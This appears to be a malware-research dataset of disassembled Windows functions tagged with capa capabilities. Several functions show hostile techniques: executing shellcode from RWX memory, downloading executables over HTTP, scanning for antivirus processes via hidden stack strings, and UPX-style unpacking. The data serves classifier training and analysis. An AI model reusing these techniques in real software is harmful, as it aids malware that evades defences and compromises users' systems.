joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004b00
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 3
push 0x80000000
push eax
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10004b40
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x10004bb2
lea ecx, [ebp - 0x1c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x10004ba2
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], edi
jl 0x10004b69
jg 0x10004b60
cmp eax, 0x6400000
jbe 0x10004b69
mov dword [ebp - 8], 0xdf
jmp 0x10004bab
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10004b84
mov dword [ebp - 8], 8
jmp 0x10004bab
mov eax, dword [ebp - 0x1c]
push 0
lea edx, [ebp - 0xc]
push edx
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10004ba2
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x1c]
je 0x10004bab
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ebx
add ebx, 0x1c
push ebx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov esi, eax
test esi, esi
je 0x10004c0b
mov edx, dword [0x1001461c]
mov ecx, dword [ebp + 8]
mov dword [esi], edx
mov eax, dword [0x10014620]
mov edx, dword [ebp - 8]
add ebx, 0xffffffe8
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov dword [esi + 0x10], ebx
mov dword [esi + 0xc], 0x1f5
mov dword [esi + 0x18], edx
test edi, edi
je 0x10004c1f
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [esi + 0x1c]
push edi
push ecx
call fcn.1000b320
add esp, 0xc
test edi, edi
je 0x10004c1f
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10011198
push 0x1000a2c0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [section..data]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
jne 0x100053e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1000542e
push edi
mov eax, dword [ebp + 0x14]
push eax
push esi
call fcn.1000b320
add esp, 0xc
mov dword [ebp - 4], ebx
mov ecx, dword [ebp + 0xc]
lea edx, [esi + ecx]
call edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xfffffffe
jmp 0x1000542e
test esi, esi
je 0x1000544c
push edi
push 0
push esi
call fcn.1000a660
add esp, 0xc
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x20
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x1000548f
mov ecx, dword [0x1001461c]
mov dword [eax], ecx
mov edx, dword [0x10014620]
mov dword [eax + 4], edx
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov dword [eax + 0x10], 8
mov dword [eax + 0xc], 0x1f5
mov dword [eax + 0x18], ebx
mov edx, dword [ebp - 0x20]
mov dword [eax + 0x1c], edx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100054b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push str.NtFsControlFile
push str.ntdll.dll
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100158cc], eax
test eax, eax
je 0x100054ff
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100054ff
test eax, 0x4a00
jne 0x100054f2
mov ecx, esi
call fcn.10001ef0
jmp 0x100054fb
push esi
call fcn.10002080
add esp, 4
test eax, eax
jne 0x10005507
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push 0x1c
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x10005544
mov ecx, dword [0x1001461c]
mov dword [eax], ecx
mov edx, dword [0x10014620]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
mov dword [eax + 0x10], 4
mov dword [eax + 0xc], 0x1f5
mov dword [eax + 0x18], edi
pop edi
pop ebp
ret
Function at 0x10005760
Capabilities:
Check if file exists
Delete registry value
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x878
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x874]
push eax
push 2
push 0
push str.SYSTEMCurrentControlSetControlSystemResources
push 0x80000002
mov dword [ebp - 0x874], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
je 0x100057ab
mov dword [ebp - 0x874], 0
jmp 0x1000580b
push 0
call fcn.10006d3e
add esp, 4
push eax
call fcn.10006bba
add esp, 4
xor esi, esi
call fcn.10006bcc
mov byte [ebp + esi - 0x870], al
inc esi
cmp esi, 0x864
jb 0x100057c0
mov edx, dword [ebp - 0x874]
push 0x864
lea ecx, [ebp - 0x870]
push ecx
push 3
push 0
push str.Control
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x874]
push str.Control
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov esi, eax
push str.NtFsControlFile
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100158cc], eax
test eax, eax
je 0x1000585f
push 0x1001545c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000585f
test eax, 0x4a00
jne 0x1000584e
mov ecx, 0x1001545c
call fcn.10001ef0
jmp 0x1000585b
push 0x1001545c
call fcn.10002080
add esp, 4
test eax, eax
jne 0x10005867
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x874]
test eax, eax
je 0x10005878
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x100158d0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1c
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x100058c2
mov edx, dword [0x1001461c]
mov dword [eax], edx
mov ecx, dword [0x10014620]
mov edx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
mov dword [eax + 0x10], 4
mov dword [eax + 0xc], 0x1f5
mov dword [eax + 0x18], esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10006570
mov esp, ebp
pop ebp
ret
Function at 0x10006420
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push 0x34
push 8
mov dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x1000644a
lea eax, [esi + 8]
pop esi
pop ebp
ret
mov ecx, dword [ebp + 0xc]
push ebx
push edi
push esi
mov dword [esi + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x7fffffff
lea eax, [esi + 0x18]
push 0
push 0
mov dword [eax + 4], eax
mov dword [eax], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov dword [esi + 0x30], eax
test eax, eax
jne 0x10006491
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
je 0x1000648a
call fcn.100064e0
mov eax, edi
pop edi
pop ebx
pop esi
pop ebp
ret
xor ebx, ebx
cmp dword [esi + 0x28], ebx
jle 0x100064c9
push 0
push 0
push esi
push 0x100062e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x10006479
lea edx, [esi + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 0x28]
jl 0x10006498
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], esi
pop ebx
xor eax, eax
pop esi
pop ebp
ret

Function at 0x10006570
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000657a
repz ret
jmp fcn.100070ca
Function at 0x1000de1f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10007bed
and dword [ebp - 0x14], 0
cmp dword [0x100152e8], 0
mov dword [ebp - 0x18], eax
jne 0x1000ded2
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000df7a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000df7a
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x100152e8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100152ec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x100152f0], eax
call edi
push eax
call esi
mov dword [0x100152f8], eax
test eax, eax
je 0x1000ded2
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x100152f4], eax
mov eax, dword [0x100152f4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000df2b
cmp dword [0x100152f8], ecx
je 0x1000df2b
push eax
call esi
push dword [0x100152f8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000df2b
test ebx, ebx
je 0x1000df2b
call edi
test eax, eax
je 0x1000df22
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000df22
test byte [ebp - 8], 1
jne 0x1000df2b
or dword [ebp + 0x10], 0x200000
jmp 0x1000df5e
mov eax, dword [0x100152ec]
cmp eax, dword [ebp - 0x18]
je 0x1000df5e
push eax
call esi
test eax, eax
je 0x1000df5e
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000df5e
mov eax, dword [0x100152f0]
cmp eax, dword [ebp - 0x18]
je 0x1000df5e
push eax
call esi
test eax, eax
je 0x1000df5e
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100152e8]
call esi
test eax, eax
je 0x1000df7a
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000df7c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006570
leave
ret
Function at 0x28b63e2
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
repne scasb al, byte es:[edi]
pushal
call fcn.015979c8
sbb byte [edx - 0x3847dd30], cl
pop dword [edx - 0x1e]
cli
mov ebp, 0x24a5eba5
sub ebp, dword [0x193e1dbc]
shl byte [ebp + ecx + 0x49], 1
and al, 0x48
les ebx, [eax - 0x30f0749d]
inc edi
xchg edi, eax
call 0xb2d603c3
inc esp
inc ecx
push ecx
xchg dword [0x6b633a7f], esp
test al, 0x2b
lodsd eax, dword [esi]
pushal
js 0x1840075
mov ebp, 0x19a197f3
dec eax
xchg byte [edi], al
movsd dword es:[edi], dword [esi]
or al, 0x12
popal
salc
cmpsd dword [esi], dword es:[edi]
or cl, byte [edx - 0x3e]
xchg esp, eax
xor bl, byte [esi + 0x7155e1f2]
je 0x18400dc
push ebp
jno 0x18400ec
arpl word [eax + 0x36], di
js 0x18400b1
mov dh, 0x45
xchg ebx, eax
pop ss
shr dword [edi], 1
leave
iretd
jp 0x18400fb
test byte [edi], ch
shl byte [ebx + 0x13606f2], 4
test esp, ebx
mov edx, 0x45c99817
mov dword [0x13606f2], eax
add al, 0x85
fdivr qword [edx + 0x45c99817]
mov dh, 0x40
jo 0x18400b6
out dx, al
pop ds
pop ecx
dec esi
mov ch, 0x69
push 0x5c
jmp 0x1840128
pop ss
mov ch, 4
or ah, bl
xchg esi, eax
adc byte [eax - 0x52882403], bh
dec edi
push es
salc
xchg esp, esi
or dx, 0xffb7
sbb ecx, dword [edi + 0x189b0ecd]
ret 0x2bbf
or byte [edi - 0x528e989c], cl
invalid
lodsd eax, dword [esi]
adc eax, 0x4132a94c
aad 0xae
sbb al, 0x93
movsd dword es:[edi], dword [esi]
int 0x98
cmp al, 0x19
test byte [eax + 0x56b7a4db], al
sti
jl 0x18400fc
dec ebp
and al, 0x5b
js 0x1840100
xor ebp, dword [edx]
mul byte [di - 0x13]
pop ds
aaa
mov ebp, 0x30bb6301
inc edx
mov dl, 0x33
mov ebx, 0x33b24230
and eax, 0x37d76375
mov eax, dword [0x524da40c]
sbb dword [eax], edi
xchg byte [esi - 0x37], dl
cmp ebx, dword [ebp + ecx*2 - 0x1013da79]
jae 0x18401af
in al, dx
push edi
mov esi, ecx
invalid
cli
shl eax, 1
pushal
lea esp, [esp + 0x24]
je 0x1596f24
pushfd
pushal
pushfd
pushfd
mov dword [ebp - 4], eax
jmp 0x183e0a8
rcr al, 5
sub ebx, edi
bswap di
sal al, 1
and al, 0x21
add ebx, esp
shrd di, ax, cl
rol al, cl
add al, 0xc9
jmp 0x185f8ac
mov edi, ebx
shl al, cl
neg al
dec al
mov al, 0x2e
jmp 0x1840020
mov byte [esp], dh
push dword [esp]
lea esp, [esp + 8]
ja 0x185e06d
jmp 0x185a4a7
Function at 0x5e5c50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.HAOCMP1
lea edi, [esi - 0x142000]
push edi
or ebp, 0xffffffff
jmp 0x5e5c72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5e5c79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5c68
mov eax, 1
add ebx, ebx
jne 0x5e5c8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5e5c9c
jne 0x5e5cbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5cbb
dec eax
add ebx, ebx
jne 0x5e5ca8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5e5c80
add ebx, ebx
jne 0x5e5cb7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5e5d0d
xor ecx, ecx
sub eax, 3
jb 0x5e5cd3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5e5d42
sar eax, 1
mov ebp, eax
jmp 0x5e5cde
add ebx, ebx
jne 0x5e5cde
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5cac
inc ecx
add ebx, ebx
jne 0x5e5cec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5cac
add ebx, ebx
jne 0x5e5cf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5e5cee
jne 0x5e5d0a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5e5cee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5e5d2c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5e5d1e
jmp 0x5e5c6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5e5d2c
add edi, ecx
jmp 0x5e5c6e
pop esi
mov edi, esi
mov ecx, 0x4acd
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5e5d4a
cmp byte [edi], 0x11
jne 0x5e5d4a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5e5d4f
lea edi, [esi + 0x1e2000]
mov eax, dword [edi]
or eax, eax
je 0x5e5dc7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x23bf0c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x23c038]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5e5d7c
mov ecx, edi
jns 0x5e5dab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x23c03c]
or eax, eax
je 0x5e5dc1
mov dword [ebx], eax
add ebx, 4
jmp 0x5e5d99
call dword [esi + 0x23c044]
mov ebp, dword [esi + 0x23c040]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5e5dfb
sub esp, 0xffffff80
jmp 0x4396a6
Function at 0x401220
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42a9d8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x43a790]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x4360e0
lea ecx, [ebp - 0x28]
call fcn.00405dc0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00405540
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401297
mov byte [ebp - 0x2b], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00405560
mov al, byte [ebp - 0x2b]
jmp 0x4012d1
call fcn.004072a0
movzx eax, al
test eax, eax
je 0x4012bb
mov byte [ebp - 0x2a], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00405560
mov al, byte [ebp - 0x2a]
jmp 0x4012d1
mov byte [ebp - 0x29], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00405560
mov al, byte [ebp - 0x29]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041103f
mov esp, ebp
pop ebp
ret

Function at 0x405f00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x43a790]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x43681c
push ecx
lea eax, [ebp - 0x14]
mov edi, edx
push eax
xor esi, esi
call fcn.00411d7b
mov eax, dword [ebp - 0x14]
add esp, 0xc
test eax, eax
je 0x405fac
push esi
push 0x64
push eax
call fcn.00411e4f
add esp, 0xc
cmp eax, 0xffffffff
je 0x405f8f
push dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push 1
push 0xa
push eax
call fcn.00412355
add esp, 0x10
cmp eax, 1
jne 0x405f8f
lea eax, [ebp - 0x10]
push eax
call fcn.00412401
push 0
push 0x73
push dword [ebp - 0x14]
mov esi, eax
call fcn.00411e4f
add esp, 0x10
cmp eax, 0xffffffff
je 0x405f8f
push dword [ebp - 0x14]
push 1
push 0x4f
push edi
call fcn.00412355
xor ecx, ecx
add esp, 0x10
cmp eax, 1
cmovne esi, ecx
push dword [ebp - 0x14]
call fcn.00412119
add esp, 4
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041103f
mov esp, ebp
pop ebp
ret
push str.fopen_error
call fcn.00412433
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
call fcn.0041103f
mov esp, ebp
pop ebp
ret
Function at 0x406400
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x43a790]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
push ebx
mov dword [ebp - 0x1c], eax
mov bl, 1
mov eax, dword [ebp + 0xc]
push 0x436840
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], ecx
push eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call fcn.00411d7b
add esp, 0xc
test eax, eax
je 0x406459
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041103f
mov esp, ebp
pop ebp
ret 0xc
push esi
push edi
push dword [ebp - 8]
call fcn.00412915
push 2
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.00411e4f
push dword [ebp - 8]
call fcn.00412915
push 0
push esi
push dword [ebp - 8]
mov edi, eax
call fcn.00411e4f
push edi
call fcn.00410c3f
push dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 1
push edi
push eax
call fcn.00412355
lea eax, [edi + edi*2]
push eax
mov dword [ebp - 0x10], eax
call fcn.00410c3f
mov esi, eax
mov eax, dword [ebp - 0x18]
sub edi, eax
push edi
mov edi, dword [ebp - 0x14]
add eax, edi
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.0040a5e0
add esp, 0x48
test eax, eax
je 0x4064ca
xor bl, bl
jmp 0x4064f7
push 0x436844
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
push eax
call fcn.00411d7b
add esp, 0xc
test eax, eax
je 0x4064e6
xor bl, bl
jmp 0x4064f7
push dword [ebp - 0xc]
push 1
push dword [ebp - 0x10]
push esi
call fcn.0041202b
add esp, 0x10
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x406507
push eax
call fcn.00412119
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x406517
push eax
call fcn.00412119
add esp, 4
test edi, edi
je 0x406524
push edi
call fcn.0041104e
add esp, 4
test esi, esi
je 0x406531
push esi
call fcn.0041104e
add esp, 4
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041103f
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406f10
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x43a790]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0
push 0
push 0
mov esi, 1
mov dword [ebp - 0x408], 0
push str.Mozilla_4.0__compatible_
mov edi, ecx
mov dword [ebp - 0x40c], esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x410], eax
test eax, eax
jne 0x406f6b
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041103f
mov esp, ebp
pop ebp
ret
push 0
push SysReAllocString
push 0
push 0
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
je 0x406f59
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x406f90
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.004137d0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push edi
call ebx
test esi, esi
je 0x406fce
mov eax, 0x5a4d
cmp word [ebp - 0x404], ax
jne 0x406fda
xor esi, esi
cmp dword [ebp - 0x408], esi
ja 0x406f90
jmp 0x406fe4
mov dword [ebp - 0x40c], 0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0x410]
call esi
cmp dword [ebp - 0x40c], 0
mov ecx, dword [ebp - 4]
pop ebx
setne al
xor ecx, ebp
pop edi
pop esi
call fcn.0041103f
mov esp, ebp
pop ebp
ret
Function at 0x407010
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
mov eax, dword [0x43a790]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x2b4], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x2b4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ecx, ecx
mov dword [ebp - 0x4c], 0x510051
xor bl, bl
mov dword [ebp - 0x48], 0x430050
mov dword [ebp - 0x44], 0x540052
mov dword [ebp - 0x40], 0x2e0050
mov dword [ebp - 0x3c], 0x780065
mov dword [ebp - 0x38], 0x65
mov dword [ebp - 0x34], 0x360033
mov dword [ebp - 0x30], 0x740030
mov dword [ebp - 0x2c], 0x610072
mov dword [ebp - 0x28], 0x2e0079
mov dword [ebp - 0x24], 0x780065
mov dword [ebp - 0x20], 0x65
mov dword [ebp - 0x88], 0x610042
mov dword [ebp - 0x84], 0x640069
mov dword [ebp - 0x80], 0x530075
mov dword [ebp - 0x7c], 0x530064
mov dword [ebp - 0x78], 0x630076
mov dword [ebp - 0x74], 0x65002e
mov dword [ebp - 0x70], 0x650078
mov word [ebp - 0x6c], cx
mov dword [ebp - 0x68], 0x78006b
mov dword [ebp - 0x64], 0x730065
mov dword [ebp - 0x60], 0x6f0063
mov dword [ebp - 0x5c], 0x650072
mov dword [ebp - 0x58], 0x65002e
mov dword [ebp - 0x54], 0x650078
mov word [ebp - 0x50], cx
mov dword [ebp - 0x1c], 0x610072
mov dword [ebp - 0x18], 0x6d0076
mov dword [ebp - 0x14], 0x6e006f
mov dword [ebp - 0x10], 0x2e0064
mov dword [ebp - 0xc], 0x780065
mov dword [ebp - 8], 0x65
test eax, eax
je 0x4071cf
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.0041399c
add esp, 8
test eax, eax
je 0x4071cd
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.0041399c
add esp, 8
test eax, eax
je 0x4071cd
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.0041399c
add esp, 8
test eax, eax
je 0x4071cd
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.0041399c
add esp, 8
test eax, eax
je 0x4071cd
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.0041399c
add esp, 8
test eax, eax
je 0x4071cd
lea eax, [ebp - 0x2b4]
push eax
push esi
call edi
test eax, eax
jne 0x407143
jmp 0x4071cf
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041103f
mov esp, ebp
pop ebp
ret